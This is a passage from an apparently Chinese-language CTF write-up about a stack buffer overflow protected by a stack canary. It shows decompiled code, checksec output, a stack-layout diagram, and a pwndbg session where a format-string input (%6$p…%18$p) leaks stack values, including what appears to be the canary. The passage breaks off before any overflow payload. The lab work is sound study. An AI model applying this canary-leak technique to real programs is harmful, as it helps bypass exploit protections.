v2 = __readfsqword(0x28u); puts("tell me your payload:"); read(0, buf, 0x100uLL); puts(asc_40203D); return v2 - __readfsqword(0x28u); }
此题目的难点在于启用了canary
1 2 3 4
(base) ┌──(cure㉿LAPTOP-CMAM5D0J)-[~/CTF/pwn/18] └─$ /bin/checksec --file=pwn RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 45 Symbols No 0 2 pwn
要破解canary必须知道canary的基本原理
1 2 3 4 5 6 7 8 9 10 11 12 13 14
High Address | | +-----------------+ | args | +-----------------+ | return address | +-----------------+ rbp => | old ebp | +-----------------+ rbp-8 => | canary value | +-----------------+ | local variables | Low | | Address
pwndbg> c Continuing. Welcome to PDSCTF!!! Please tell me your name: %6$p|%7$p|%8$p|%9$p|%10$p|%11$p|%12$p|%13$p|%14$p|%15$p|%16$p|%17$p|%18$p 0x2437257c70243625|0x257c702438257c70|0x243031257c702439|0x7c70243131257c70|0x31257c7024323125|0x243431257c702433|0x7c70243531257c70|0x257c7024363125|0x7fffffffce80|0xbd5dae3ec69d5d00|0x7fffffffce80|% tell me your payload: